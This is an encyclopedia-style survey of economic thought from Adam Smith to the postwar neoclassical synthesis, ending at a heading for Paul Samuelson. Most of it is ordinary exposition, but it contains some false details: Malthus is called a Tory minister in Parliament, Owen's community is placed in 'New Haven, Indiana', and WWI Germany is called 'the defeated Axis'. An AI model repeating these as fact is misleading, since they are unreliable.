            "Every man is rich or poor according to the degree in which he can afford to enjoy the necessaries, conveniencies, and amusements of human life. But after the division of labour has once thoroughly taken place, it is but a very small part of these with which a man's own labour can supply him. The far greater part of them he must derive from the labour of other people, and he must be rich or poor according to the quantity of that labour which he can command, or which he can afford to purchase. The value of any commodity, therefore, to the person who possesses it, and who means not to use or consume it himself, but to exchange it for other commodities, is equal to the quantity of labour which it enables him to purchase or command. Labour, therefore, is the real measure of the exchangeable value of all commodities. The real price of every thing, what every thing really costs to the man who wants to acquire it, is the toil and trouble of acquiring it."

          


          When the butchers, the brewers and the bakers acted under the restraint of an open market economy, their pursuit of self interest, thought Smith, paradoxically drives the process to correct real life prices to their just values. His classic statement on competition goes as follows.


          
            "When the quantity of any commodity which is brought to market falls short of the effectual demand, all those who are willing to pay... cannot be supplied with the quantity which they want... Some of them will be willing to give more. A competition will begin among them, and the market price will rise... When the quantity brought to market exceeds the effectual demand, it cannot be all sold to those who are willing to pay the whole value of the rent, wages and profit, which must be paid in order to bring it thither... The market price will sink..."

          


          Smith believed that a market produced what he dubbed the "progress of opulence". This involved a chain of concepts, that the division of labour is the driver of economic efficiency, yet it is limited to the widening process of markets. Both labour division and market widening requires more intensive accumulation of capital by the entrepreneurs and leaders of business and industry. The whole system is underpinned by maintaining the security of property rights.


          


          Limitations
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          Smith's vision of a free market economy, based on secure property, capital accumulation, widening markets and a division of labour contrasted with the mercantilist tendency to attempt to "regulate all evil human actions." Smith believed there were precisely three legitimate functions of government. The first function was...


          
            "...erecting and maintaining certain public works and certain public institutions, which it can never be for the interest of any individual or small number of individuals, to erect and maintain... Every system which endeavours... to draw towards a particular species of industry a greater share of the capital of the society than what would naturally go to it... retards, instead of accelerating, the progress of the society toward real wealth and greatness."

          


          In addition to the necessity of public leadership in certain sectors Smith argued, secondly, that cartels were bad because of their potential to limit production and quality of goods and services. Thirdly, Smith criticised government support of any kind of monopoly which always charges the highest price "which can be squeezed out of the buyers" However, in both cases, Smith believed it was governments' encouragement of monopolies that needed to end, rather than the need for active intervention to prevent them. The existence of monopoly and the potential for cartels, which would later form the core of competition law policy, could distort the benefits of free markets to the advantage of businesses at the expense of consumer sovereignty. 


          Classical political economy


          The classical economists were referred to as a group for the first time by Karl Marx. One unifying part of their theories was the labour theory of value, contrasting to value deriving from a general equilibrium of supply and demand.


          


          Jeremy Bentham
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          Jeremy Bentham (1748-1832) was perhaps the most radical thinker of his time, and developed the concept of utilitarianism. Bentham was an atheist, a prison reformer, animal rights activist, believer in universal suffrage, free speech, free trade and health insurance at a time when few dared to argue for any. He was schooled rigorously from an early age, finishing university and being called to the bar at 18. His first book, Fragment of Government (1776) published anonymously was a trenchant critique of William Blackstone's Commentaries of the laws of England. This gained wide success until it was found that the young Bentham, and not a revered Professor had penned it. In The Principles of Morals and Legislation (1791) Bentham set out his theory of utility.


          
            "Nature has placed mankind under the governance of two sovereign masters, pain and pleasure... On the one hand the standard of right and wrong, on the other the chain of causes and effects, are fastened to their throne... In words a man may pretend to abjure their empire: but in reality he will remain subject to it all the while. The principle of utility recognizes this subjection, and assumes it for the foundation of that system, the object of which is to rear the fabric of felicity by the hands of reason and of law."

          


          The aim of legal policy must be to decrease misery and suffering so far as possible while producing the greatest happiness for the greatest number. Bentham even designed a comprehensive methodology for the calculation of aggregate happiness in society that a particular law produced, a felicific calculus. Society, argued Bentham, is nothing more than the total of individuals, so that if one aims to produce net social good then one need only to ensure that more pleasure is experienced across the board than pain, regardless of numbers. For example, a law is proposed to make every bus in the city wheel chair accessible, but slower moving as a result than its predecessors because of the new design. Millions of bus users will therefore experience a small amount of displeasure (or "pain") in increased traffic and journey times, but a minority of people using wheel chairs will experience a huge amount of pleasure at being able to catch public transport, which outweighs the aggregate displeasure of other users. Interpersonal comparisons of utility were allowed by Bentham, the idea that one person's vast pleasure can count more than many others' pain. Much criticism later showed how this could be twisted, for instance, would the felicific calculus allow a vastly happy dictator to outweigh the dredging misery of his exploited populace? Despite Bentham's methodology there were severe obstacles in measuring people's happiness.


          


          Jean-Baptiste Say
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          Jean-Baptiste Say (1767-1832) was a Frenchman, born in Lyon who helped to popularise Adam Smith's work in France. His book, A Treatise on Political Economy (1803) contained a brief passage, which later became orthodoxy in political economics until the Great Depression and known as Say's Law of markets. Say argued that there could never be a general deficiency of demand or a general glut of commodities in the whole economy. People produces things, said Say, to fulfill their own wants, rather than those of others. Production is therefore not a question of supply, but an indication of producers demanding goods. Production is demand, so it is impossible for production to outrun demand, or for there to be a "general glut" of supply. At most, there will be different economic sectors whose demands are not fulfilled. But over time supplies will shift, businesses will retool for different production and the market will correct itself. An example of a "general glut" could be unemployment, in other words, too great a supply of workers, and too few jobs. Say's Law advocates would suggest that this necessarily means there is an excess demand for other products that will correct itself. This remained a foundation of economic theory until the 1930s. Say's Law was first put forward by James Mill (1773-1836) in English, and was advocated by David Ricardo, Henry Thornton and John Stuart Mill. However one political economist, Thomas Malthus, was unconvinced.


          


          Thomas Malthus
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          Thomas Malthus (1766-1834) was a Tory minister in the United Kingdom Parliament who, contrasting to Bentham, believed in strict government abstention from social ills. Malthus devoted the last chapter of his book Principles of Political Economy (1820) to rebutting Say's law, and argued that the economy could stagnate with a lack of "effectual demand". In other words, wages if less than the total costs of production cannot purchase the total output of industry and that this would cause prices to fall. Price falls cause incentives to invest, and the spiral could continue indefinitely. Malthus is more notorious however for his earlier work, An Essay on the Principle of Population. This argued that intervention was impossible because of two factors. "Food is necessary to the existence of man," wrote Malthus. "The passion between the sexes is necessary and will remain nearly in its present state," he added, meaning that the "power of the population is infinitely greater than the power in the Earth to produce subsistence for man." Nevertheless growth in population is checked by "misery and vice". Any increase in wages for the masses would cause only a temporary growth in population, which given the constraints in the supply of the Earth's produce would lead to misery, vice and a corresponding readjustment to the original population. However more labour could mean more economic growth, either one of which was able to be produced by an accumulation of capital.


          


          David Ricardo
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          David Ricardo (1772-1823) was born in London, and by the age of 26 had become a wealthy stock market trader. He bought himself a constituency seat in Ireland to gain a platform in the House of Commons in the Parliament of the United Kingdom. Ricardo's best known work is his Principles of Political Economy and Taxation, which contains his critique of barriers to international trade. The Corn Laws of the UK had been passed in 1815, setting a fluctuating system of tariffs to stabilise the price of wheat in the domestic market. Ricardo argued that raising tariffs, despite being intended to benefit the incomes of farmers, would merely produce a rise in the prices of rents that went into the pockets of landowners. Furthermore, extra labour would be employed leading to an increase in the cost of wages across the board, and therefore reducing exports and profits coming from overseas business. Economics for Ricardo was all about the relationship between the three "factors of production" - land, labour and capital. Ricardo demonstrated mathematically that the gains from trade would outweigh the perceived advantages of protectionist policy. The law of comparative advantage suggests that even if one country is inferior at producing all of its goods than another, it may still benefit from opening its borders since the inflow of good produced more cheaply than at home produces a gain for domestic consumers. Say that in two days in England an average worker produces a bushel of wheat and in one day a yard of cloth, while the average French worker can do either in just a day. If England swaps the wheat it produces (one day's production) for French cloth (while English cloth takes two days) then both sides can strike a bargain between the margin that is mutually beneficial. England by selling its wheat can get its cloth in a day, rather than two days, and France can get an extra bushel of wheat for selling its more efficiently produced cloth. This would lead to a shift in prices so that eventually England would be producing goods in which its comparative advantages were the highest.


          


          John Stuart Mill
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          John Stuart Mill (1806-1873) was the dominant figure of political economic thought of his time, as well as being a Member of Parliament for the seat of Westminster, and a leading political philosopher. Mill was a child prodigy, reading Ancient Greek from the age of 3, and being vigorously schooled by his father James Mill. Jeremy Bentham was a close mentor and family friend, and Mill was heavily influenced by David Ricardo. Mill's textbook, first published in 1848 and titled Principles of Political Economy was essentially a summary of the economic wisdom of the mid nineteenth century. It was used as the standard texts by most universities well into the beginning of the twentieth century. On the question of economic growth Mill tried to find a middle ground between Adam Smith's view of ever expanding opportunities for trade and technological innovation and Thomas Malthus' view of the inherent limits of population. In his fourth book Mill set out a number of possible future outcomes, rather than predicting one in particular. The first followed the Malthusian line that population grew quicker than supplies, leading to falling wages and rising profits. The second, per Smith, said if capital accumulated faster than population grew then real wages would rise. Third, echoing David Ricardo, should capital accumulate and population increase at the same rate, yet technology stay stable, there would be no change in real wages because supply and demand for labour would be the same. However growing populations would require more land use, increasing food production costs and therefore decreasing profits. The fourth alternative was that technology advanced faster than population and capital stock increased. The result would be a prospering economy. Mill felt the third scenario most likely, and he assumed technology advanced would have to end at some point. But on the prospect of continuing economic growth, Mill was more ambivalent.


          
            "I confess I am not charmed with the ideal of life held out by those who think that the normal state of human beings is that of struggling to get on; that the trampling, crushing, elbowing, and treading on each other's heels, which form the existing type of social life, are the most desirable lot of human kind, or anything but the disagreeable symptoms of one of the phases of industrial progress.

          


          Mill is also credited with being the first person to speak of supply and demand as a relationship rather than mere quantities of goods on markets, the concept of opportunity cost and the rejection of the wage fund doctrine.


          


          Capitalism
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          Just as the term "mercantilism" had been coined and popularised by its critics, like Adam Smith, so was the term "capitalism" or Kapitalismus used by its dissidents, primarily Karl Marx. Karl Marx (1818-1883) was, and in many ways still remains the pre-eminent socialist economist. His combination of political theory represented in the Communist Manifesto and the dialectic theory of history inspired by Friedrich Hegel provided a revolutionary critique of capitalism as he saw it in the nineteenth century. The socialist movement that he joined had emerged in response to the conditions of people in the new industrial era and the classical economics which accompanied it. A political exile from his native Germany, Marx himself had lived until 1855 in the inner-London slum of Soho, before his wife Jenny inherited money enough to move to the north London suburb of Kentish Town, then still in development. He wrote his magnum opus Das Kapital at the British Museum's library.


          


          Context
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          Movement for reform of the conditions in which working class people lived was present long before either Marx or the notion of capitalism. Saint Thomas More as early as 1516 had used his satire name Utopia to criticise the displacement of the peasantry for sheep rearing of the landed gentry. Charles Dickens in the early nineteenth century was becoming popular for books where he had observed and shamed the nineteenth century business ethic in Hard Times, the levels of poverty and crime in Oliver Twist and the institutions of justice in Bleak House. Robert Owen (1771-1858) was one industrialist who determined to improve the conditions of his workers. He bought textile mills in New Lanark, Scotland where he forbade children under ten to work, set the workday from 6am to 7pm and provided evening schools for children when they finished. Such meagre measures were still substantial improvements and his business remained solvent through higher productivity, though his pay rates were lower than the national average. He published his vision in The New View of Society (1816) during the passage of the Factory Acts, but his attempt from 1824 to begin a new utopian community in New Haven, Indiana ended in failure. One of Marx's own influences was the French philosopher Pierre Proudhon, who concluded in his book What is Property? (1840) that property is theft. Compared to the classical Mill, who had written that "partial taxation is a mild form of robbery", this strain of thought represented important and radical criticism. Marx had been a friend of Proudhon. But when Proudhon made a political economic attack on the classical "iron law of wages", among other things, in his book The Philosophy of Poverty (1846) Marx replied with a cynically titled article, The Poverty of Philosophy. Legend has it that they never spoke again. That same year the Revolutions of 1848 took place and Marx, along with Friedrich Engels published the Communist Manifesto, calling for the workers of the world to unite and fear the loss of nothing but their chains. Engels himself was a published radical author. He released a book titled The Condition of the Working Class in England in 1844 describing people's positions as "the most unconcealed pinnacle of social misery in our day." Engels himself was heir to a Manchester factory, and though he detested the business, used his profits to help finance Marx's work. After Marx died, it was Engels that completed the second volume of Das Kapital from Marx's notes.


          


          Das Kapital
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          Karl Marx begins Das Kapital with the concept of commodities. Before capitalist societies, says Marx, the mode of production was based on slavery (e.g. in ancient Rome) before moving to feudal serfdom (e.g. in mediaeval Europe). As society has advanced, economic bondage has become looser, but the current nexus of labour exchange has produced an equally erratic and unstable situation allowing the conditions for revolution. People buy and sell their labour in the same way as people buy and sell goods and services. People themselves are disposable commodities. As he wrote in the Communist Manifesto,


          
            "The history of all hitherto existing society is the history of class struggles. Freeman and slave, patrician and plebeian, lord and serf, guildmaster and journeyman, in a word, oppressor and oppressed, stood in constant opposition to one another... The modern bourgeois society that has sprouted from the ruins of feudal society has not done away with class antagonisms. It has but established new classes, new conditions of oppression, new forms of struggle in place of the old ones."

          


          And furthermore from the first page of Das Kapital,


          
            "The wealth of those societies in which the capitalist mode of production prevails, presents itself as an immense accumulation of commodities, its unit being a single commodity. Our investigation must therefore begin with the analysis of a commodity.

          


          Marx's use of the word "commodity" is tied into an extensive metaphysical discussion of the nature of material wealth, how the objects of wealth are perceived and how they can be used. The concept of a commodity contrasts to objects of the natural world. When people mix their labour with an object it becomes a "commodity". In the natural world there are trees, diamonds, iron ore and people. In the economic world they become chairs, rings, factories and workers. However, says Marx, commodities have a dual nature, a dual value. He distinguishes the use value of a thing from its exchange value, which can be entirely different. The use value of a thing derives from the amount of labour used to produce it, says Marx, following the classical economists in the labour theory of value. However, Marx did not believe labour only was the source of use value in things. He believed value can derive too from natural goods and refined his definition of use value to " socially necessary labour time" (the time people need to produce things when they are not lazy of inefficient). Furthermore, people subjectively inflate the value of things, for instance because there's a commodity fetish for glimmering diamonds, and oppressive power relations involved in commodity production. These two factors mean exchange values differ greatly. An oppressive power relation, says Marx applying the use/exchange distinction to labour itself, in work-wage bargains derives from the fact that employers pay their workers less in "exchange value" than the workers produce in "use value". The difference makes up the capitalist's profit, or in Marx's terminology, " surplus value". Therefore, says Marx, capitalism is a system of exploitation.
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          Marx's work turned the labour theory of value, as the classicists used it, on its head. His dark irony goes deeper by asking what is the socially necessary labour time for the production of labour (i.e. working people) itself. Marx answers that this is the bare minimum for people to subsist and to reproduce with skills necessary in the economy. People are therefore alienated from both the fruits of production and the means to realise their potential, psychologically, by their oppressed position in the labour market. But the tale told alongside exploitation and alienation is one of capital accumulation and economic growth. Employers are constantly under pressure from market competition to drive their workers harder, and at the limits invest in labour displacing technology (e.g. an assembly line packer for a robot). This raises profits and expands growth, but for the sole benefit of those who have private property in these means of production. The working classes meanwhile face progressive immiseration, having had the product of their labour exploited from them, having been alienated from the tools of production. And having been fired from their jobs for machines, they end unemployed. Marx believed that a reserve army of the unemployed would grow and grow, fuelling a downward pressure on wages as desperate people accept work for less. But this would produce a deficit of demand as the people's power to purchase products lagged. There would be a glut in unsold products, production would be cut back, profits decline until capital accumulation halts in an economic depression. When the glut clears, the economy again starts to boom before the next cyclical bust begins. With every boom and bust, with every capitalist crisis, thought Marx, tension and conflict between the increasingly polarised classes of capitalists and workers heightens. Moreover smaller firms are being gobbled by larger ones in every business cycle, as power is concentrated in the hands of the few and away from the many. Ultimately, led by the Communist party, Marx envisaged a revolution and the creation of a classless society. How this may work, Marx never suggested. His primary contribution was not in a blue print for how society would be, but a criticism of what he saw it was.


          


          After Marx
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          The first volume of Das Kapital was the only one Marx alone published. The second and third volumes were done with the help of Friedrich Engels and Karl Kautsky, who had become a friend of Engels, saw through the publication of volume four. When the World War I and then the Russian Revolution broke out, Kautsky opposed the course of both. He was a member of the Sozialdemokratische Partei Deutschlands and condemned Vladimir Lenin's vision for the Soviet Union. As he wrote in 1934 in Marxism and Bolshevism: Democracy and Dictatorship,


          
            "The Bolsheviks under Lenins leadership, however, succeeded in capturing control of the armed forces in Petrograd and later in Moscow and thus laid the foundation for a new dictatorship in place of the old Tsarist dictatorship."

          


          Marx had begun a tradition of economists who concentrated equally on political affairs. Also in Germany, Rosa Luxembourg was a member of the SPD, who later turned towards the Communist Party because of their stance against the First World War. Beatrice Webb in England was a socialist, who helped found both the London School of Economics (LSE) and the Fabian Society. She was married to Sidney Webb, who worked as a minister for Ramsay Macdonald's government. Her political support in Britain was for gradual change through Parliamentary democracy, rather than a Marxian revolution. Yet unlike Kautsky she supported Soviet Russia. Two more English theorists associated with the LSE were John A. Hobson (1858-1940) and Richard H. Tawney (1880-1963). Hobson argued for better social legislation, in terms of wider powers for trade unions, health and safety standards and a more egalitarian distribution of wealth. Tawney was primarily an economic historian, and was critical of the haphazard method of wealth allocation in the modern world. In his book The Acquisitive Society (1920) he wrote, "It is foolish to maintain property rights for which no service is performed... for payment without service is waste." In his later book, Equality (1931) he wrote "the pooling of surplus resources by means of taxation, and the use of the funds thus obtained to make accessible to all, irrespective of their income, occupation or social position, the conditions of civilization".


          


          The new classical assumptions


          In the years immediately following Karl Marx's publication of Das Kapital, a revolution took place in economics. Marx's development of a theory of exploitation from the labour theory of value, which had been taken as fundamental by economists since John Locke coincided with labour theory's abandonment. The new orthodoxy became the theory of marginal utility. Writing simultaneously and independently, a Frenchman, an Austrian and an Englishman were reviving the idea. Instead of the value of a good or service reflecting the labour that has produced it, it reflects the usefulness (utility) of the last purchase (before the "margin" at which people find things useful no longer). This meant that an equilibrium of people's preferences determined prices, including the price of labour, so there was no question of exploitation. In a competitive economy, said the marginalists, people get what they had paid, or worked for.


          


          Marginal utility
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          Carl Menger (1840-1921), an Austrian economist stated the basic principle of marginal utility in Grundstze der Volkswirtschaftslehre (1871, Principles of Economics). Consumers act rationally by seeking to maximise satisfaction of all their preferences. People allocate their spending so that the last unit of a commodity bought creates no more than a last unit bought of something else. Stanley Jevons (1835-1882) was his English counterpart, and worked at University College, London. He emphasised in the Theory of Political Economy (1871) that at the margin, the satisfaction of goods and services decreases. An example of the theory of diminishing returns is that for every orange one eats, the less pleasure one gets from the last orange (until one stops eating). Then Leon Walras (1834-1910), again working independently, generalised marginal theory across the economy in Elements of Pure Economics (1874). Small changes in people's preferences, for instance shifting from beef to mushrooms, would lead to a mushroom price rise, and beef price fall. This stimulates producers to shift production, increasing mushrooming investment, which would increase market supply leading to a new lower mushroom price and a new price equilibrium between the products. For many products across the economy the same would go, if one assumes markets are competitive, people choose on self interest and no cost in shifting production. Early attempts to explain away the periodical crises of which Marx had spoken were not initially as successful. After finding a statistical correlation of sunspots and business fluctuations and commenting on Mill's assertion of crisis being "the destruction of belief and hope in the minds of merchants and bankers", Stanley Jevons wrote,


          
            "when we know that there is a cause, the variation of the solar activity, which is just of the nature to affect the produce of agriculture, and which does vary in the same period, it becomes almost certain that the two series of phenomena credit cycles and solar variationsare connected as effect and cause.

          


          


          Mathematical analysis
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          Vilfredo Pareto (1848-1923) was an Italian economist, best known for developing the concept of the circumstance under which nobody need be made worse off, and nobody better off through wealth redistribution. When this situation exists, the economy is said to be " Pareto efficient". Pareto devised mathematical representations for this optimal resource allocation, which when represented on a graph would yield a curve. Different points along the curve represent different allocations, but each would be optimally efficient. Rather than using the persuasive language of classical economists like Mill, the Pareto efficient curve could be represented with a precise mathematical formula:


          [image: P(Y) = \{ y^{\prime} \in Y: \; \{y^{\prime\prime} \in Y:\; y^{\prime\prime} \succ y^{\prime}, y^{\prime\prime} \neq y^{\prime} \; \} = \empty \} ].


          Alfred Marshall is also credited with an attempt to put economics on a more mathematical footing. He was the first Professor of Economics at the University of Cambridge and his work, Principles of Economics coincided with the transition of the subject from "political economy" to his favoured term, "economics". He viewed maths as a way to simplify economic reasoning, though had reservations, revealed in a letter to his student Arthur Cecil Pigou.


          
            "(1) Use mathematics as shorthand language, rather than as an engine of inquiry. (2) Keep to them till you have done. (3) Translate into English. (4) Then illustrate by examples that are important in real life. (5) Burn the mathematics. (6) If you cant succeed in 4, burn 3. This I do often."

          


          Coming after the marginal revolution, Marshall concentrated on reconciling the classical labour theory of value, which had concentrated on the supply side of the market, with the new marginalist theory that concentrated on the consumer demand side. Marshall's graphical representation is the famous supply and demand graph, the "Marshallian cross". He insisted it is the intersection of both supply and demand that produce an equilibrium of price in a competitive market. Over the long run, argued Marshall, the costs of production and the price of goods and services tend towards the lowest point consistent with continued production.


          


          Collapse and reconstruction


          Alfred Marshall was still working on his last revisions of his Principles of Economics at the outbreak of the First World War (1914-1918). The new twentieth century's climate of optimism was soon violently dismembered in the trenches of the Western front, as the civilised world tore itself apart. For four years the production of Britain, Germany and France was geared entirely towards the war economy's industry of death. In 1917 Russia crumbled into revolution led by Vladimir Lenin's Bolshevik party. They carried Marxist theory as their saviour, and promised a broken country "peace, bread and land" by collectivising the means of production. Also in 1917, the United States of America entered the war on the side of France and Britain, President Woodrow Wilson carrying the slogan of "making the world safe for democracy". He devised a peace plan of Fourteen Points. In 1918 Germany launched a spring offensive which failed, and as the allies counter-attacked and more millions were slaughtered, Germany slid into revolution, its interim government suing for peace on the basis of Wilson's Fourteen Points. Europe lay in ruins, financially, physically, psychologically, and its future with the arrangements of the Versailles conference in 1919. John Maynard Keynes was the representative of Her Majesty's Treasury at the conference and the most vocal critic of its outcome.


          


          John Maynard Keynes
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          John Maynard Keynes (1883-1946) was born in Cambridge, educated at Eton and supervised by both A. C. Pigou and Alfred Marshall at Cambridge University. He began his career as a lecturer, before working in the British government during the Great War, and rose to be the British government's financial representative at the Versailles conference. His observations were laid out in his book The Economic Consequences of the Peace (1919) where he documented his outrage at the collapse of the Americans' adherence to the Fourteen Points and the mood of vindictiveness that prevailed towards Germany. Keynes quit from the conference and using extensive economic data provided by the conference records, Keynes argued that if the victors forced reparations to be paid by the defeated Axis, then a world financial crisis would ensue, leading to a second world war. Keynes finished his treatise by advocating, first, a reduction in reparation payments by Germany to a realistically manageable level, increased intra-governmental management of continental coal production and a free trade union through the League of Nations; second, an arrangement to set off debt repayments between the Allied countries; third, complete reform of international currency exchange and an international loan fund; and fourth, a reconciliation of trade relations with Russia and Eastern Europe.


          The book was an enormous success, and though it was criticised for false predictions by a number of people, without the changes he advocated, Keynes' dark forecasts matched the world's experience through the Great Depression which ensued in 1929, and the descent into a new outbreak of war in 1939. World War One had been the "war to end all wars", and the absolute failure of the peace settlement generated an even greater determination to not repeat the same mistakes. With the defeat of fascism, the Bretton Woods conference was held to establish a new economic order. Keynes was again to play a leading role.


          


          The General Theory


          


          During the Great Depression, Keynes had published his most important work, The General Theory of Employment, Interest, and Money (1936). The depression had been sparked by the Wall Street Crash of 1929, leading to massive rises in unemployment in the United States, leading to debts being recalled from European borrowers, and an economic domino effect across the world. Orthodox economics called for a tightening of spending, until business confidence and profit levels could be restored. Keynes by contrast, had argued in A Tract on Monetary Reform (1923) that a variety of factors determined economic activity, and that it was not enough to wait for the long run market equilibrium to restore itself. As Keynes famously remarked,


          
            "...this long run is a misleading guide to current affairs. In the long run we are all dead. Economists set themselves too easy, too useless a task if in tempestuous seasons they can only tell us that when the storm is long past the ocean is flat again."

          


          On top of the supply of money, Keynes identified the propensity to consume, inducement to invest, the marginal efficiency of capital, liquidity preference and the multiplier effect as variables which determine the level of the economys output, employment and level of prices. Much of this esoteric terminology was invented by Keynes especially for his General Theory, though some simple ideas lay behind. Keynes argued that if savings were being kept away from investment through financial markets, total spending falls. Falling spending leads to reduced incomes and unemployment, which reduces savings again. This continues until the desire to save becomes equal to the desire to invest, which means a new equilibrium is reached and the spending decline halts. This new equilibrium is a depression, where people are investing less, have less to save and less to spend.


          Keynes argued that employment depends on total spending, which is composed of consumer spending and business investment in the private sector. Consumers only spend passively, or according to their income fluctuations. Businesses, on the other hand are induced to invest by the expected rate of return on new investments (the benefit) and the rate of interest paid (the cost). So, said Keynes, if business expectations remained the same, and government reduces interest rates (the costs of borrowing), investment would increase, and would have a multiplied effect on total spending. Interest rates, in turn, depend on the quantity of money and the desire to hold money in bank accounts (as opposed to investing). If not enough money is available to match how much people want to hold, interest rates rise until enough people are put off. So if the quantity of money were increased, while the desire to hold money remained stable, interest rates would fall, leading to increased investment, output and employment. For both these reasons, Keynes therefore advocated low interest rates and easy credit, to combat unemployment.


          But Keynes believed in the 1930s, conditions necessitated public sector action. Deficit spending, said Keynes, would kick-start economic activity. This he had advocated in an open letter to President Franklin Delano Roosevelt in the New York Times (1933). The New Deal programme in the US had been well underway by the publication of the General Theory. It provided conceptual reinforcement for policies already pursued. Keynes also believed in a more egalitarian distribution of income, and taxation on unearned income arguing that high rates of savings (to which richer folk are prone) are not desirable in a developed economy. Keynes therefore advocated both monetary management and an active fiscal policy.


          


          Keynesian economics
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          During the Second World War, Keynes acted as advisor to HM Treasury again, negotiating major loans from the US. He helped formulate the plans for the International Monetary Fund, the World Bank and an International Trade Organisation at the Bretton Woods conference, a package designed to stablise world economy fluctations that had occurred in the 1920s and create a level trading field across the globe. Keynes passed away little more than a year later, but his ideas had already shaped a new global economic order, and all Western governments followed the Keynsian prescription of deficit spending to avert crises and maintain full employment. One of Keynes' pupils at Cambridge was Joan Robinson, who contributed to the notion that competition is seldom perfect in a market, an indictment of the theory of markets setting prices. In The Production Function and the Theory of Capital (1953) Robinson tackled what she saw to be some of the circularity in orthodox economics. Neoclassicists assert that a competitive market forces producers to minimise the costs of production. Robinson said that costs of production are merely the prices of inputs, like capital. Capital goods get their value from the final products. And if the price of the final products determines the price of capital, then it is, argued Robinson, utterly circular to say that the price of capital determines the price of the final products. Goods cannot be priced until the costs of inputs are determined. This would not matter if everything in the economy happened instantaneously, but in the real world, price setting takes time - goods are priced before they are sold. Since capital cannot be adequately valued in independently measurable units, how can one show that capital earns a return equal to the contribution to production? Piero Sraffa came to England from fascist Italy in the 1920s, and worked with Keynes in Cambridge. In 1960 he published a small book called Production of Commodities by Means of Commodities, which explained how technological relationships are the basis for production of goods and services. Prices result from wage-profit tradeoffs, collective bargaining, labour and management conflict and the intervention of government planning. Like Robinson, Sraffa was showing how the major force for price setting in the economy was not necessarily market adjustments.


          


          The American way


          The Wall Street Crash of 1929 was the dramatic end of what had been referred to as the " roaring twenties" in America. Many people, in particular Thorstein Veblen, had warned of the tendency for wasteful consumption and the necessity of creating sound financial institutions. Veblen was a leader in a critical strand of American politics, which cautioned against the excesses of " the American way". While these authors spread over a long period, the common theme running through the work is a critique of typically American social, financial and business institutions.


          


          Thorsten Veblen
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          Thorsten Veblen (1857-1929) wrote his first and most influential book while he was at the University of Chicago, on The Theory of the Leisure Class (1899). In it he criticised materialistic culture and wealthy people who conspicuously consumed their riches as a way of demonstrating success. Conspicuous leisure was another focus of Veblen's critique. In The Theory of Business Enterprise (1904) Veblen distinguished production for people to use things and production for pure profit, arguing that the former is often hindered because businesses pursue the latter. Output and technological advance are restricted by business practices and the creation of monopolies. Businesses protect their existing capital investments and employ excessive credit, leading to depressions and increasing military expenditure and war through business control of political power. These two books, focusing on criticism first of consumerism, and second of profiteering, did not advocate change.


          


          John R. Commons


          John R. Commons (1862-1945) also came from mid-Western America. Underlying his ideas, consolidated in Institutional Economics (1934) was the concept that the economy is a web of relationships between people with diverging interests. There are monopolies, large corporations, labour disputes and fluctuating business cycles. They do however have an interest in resolving these disputes. Government, thought Commons, ought to be the mediator between the conflicting groups. Commons himself devoted much of his time to advisory and mediation work on government boards and industrial commissions.


          


          Adolf Berle
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          Adolf A. Berle (1895-1971) was one of the first authors to combine legal and economic analysis, and his work stands as a founding pillar of thought in modern corporate governance. Like Keynes, Berle was at the Paris Peace Conference, 1919, but subsequently resigned from his diplomatic job dissatisfied with the Versailles Treaty terms. In his book with Gardiner C. Means, The Modern Corporation and Private Property (1932), he detailed the evolution in the contemporary economy of big business, and argued that those who controlled big firms should be better held to account. Directors of companies are held to account to the shareholders of companies, or not, by the rules found in company law statutes. This might include rights to elect and fire the management, require for regular general meetings, accounting standards, and so on. In 1930s America, the typical company laws (e.g. in Delaware) did not clearly mandate such rights. Berle argued that the unaccountable directors of companies were therefore apt to funnel the fruits of enterprise profits into their own pockets, as well as manage in their own interests. The ability to do this was supported by the fact that the majority of shareholders in big public companies were single individuals, with scant means of communication, in short, divided and conquered. Berle served in President Franklin Delano Roosevelt's administration through the depression, and was a key member of the so called " Brain trust" developing many of the New Deal policies. In 1967, Berle and Means issued a revised edition of their work, in which the preface added a new dimension. It was not only the separation of controllers of companies from the owners as shareholders at stake. They posed the question of what the corporate structure was really meant to achieve.


          
            Stockholders toil not, neither do they spin, to earn [dividends and share price increases]. They are beneficiaries by position only. Justification for their inheritance... can be founded only upon social grounds... that justification turns on the distribution as well as the existence of wealth. Its force exists only in direct ratio to the number of individuals who hold such wealth. Justification for the stockholder's existence thus depends on increasing distribution within the American population. Ideally the stockholder's position will be impregnable only when every American family has its fragment of that position and of the wealth by which the opportunity to develop individuality becomes fully actualized.

          


          


          John Kenneth Galbraith


          John Kenneth Galbraith (1908-2006) worked in the New Deal administration of Franklin Delano Roosevelt. Galbraith remained a leading critic of orthodox economics throughout the late twentieth century. In The Affluent Society (1958), Galbraith argues that voters reaching a certain material wealth begin to vote against the common good. He coins the term " conventional wisdom" to refer to the orthodox ideas that underpin the resulting conservative consensus. In an age of big business, it is unrealistic to think of markets of the classical kind. Big businesses set their own terms in the marketplace, and use their combined resources for advertising programmes to support demand for their own products. As a result, individual preferences actually reflect the preferences of entrenched corporations, a "dependence effect", and the economy as a whole is geared to irrational goals. In The New Industrial State Galbraith argues that economic decisions are planned by a private-bureaucracy, a technostructure of experts who manipulate marketing and public relations channels. This hierarchy is self serving, profits are no longer the prime motivator, and even managers are not in control. Because they are the new planners, corporations detest risk, require steady economic and stable markets. They recruit governments to serve their interests with fiscal and monetary policy, for instance adhering to monetarist policies which enrich money-lenders in the City through increases in interest rates. While the goals of an affluent society and complicit government serve the irrational technostructure, public space is simultaneously impoverished. Galbraith paints the picture of stepping from penthouse villas onto unpaved streets, from landscaped gardens to unkempt public parks. In Economics and the Public Purpose (1973) Galbraith advocates a "new socialism" as the solution, nationalising military production and public services such as health care, introducing disciplined salary and price controls to reduce inequality.


          


          By the textbooks


          After the second world war, and the death of John Maynard Keynes, a group of mostly American economists worked to combine Keynes' economic theory with statistic method mathematical representations. Introductory university economics courses began with the same approach that pulled the divergent strands of economic thought together and present economic theory as a unified whole. This development of a new orthodoxy is referred to as the neoclassical synthesis. " Positive economics" is the term created to describe certain trends and "laws" of economics that be objectively observed and described in a value free way, separate from " normative economic" evaluations and judgments. Policy solutions based on Keynesian theory were routinely implemented by Western governments. One example was the "discovery" by A. W. Phillips of a correlative relationship between inflation and unemployment. The workable policy conclusion that securing full employment could be traded-off against higher inflation. In 1969 the Swedish Central Bank began awarding a prize in economics, as an analogy to the Nobel prizes awarded in Chemistry, Physics, Medicine as well as Literature and Peace (despite Alfred Nobel never having endorsed this in his will). The prize's institution coincided with Richard Nixon's declaration in 1971 that "we are all Keynesians now". The irony was, this was the beginning of a new revolution in economic thought.


          


          Paul Samuelson
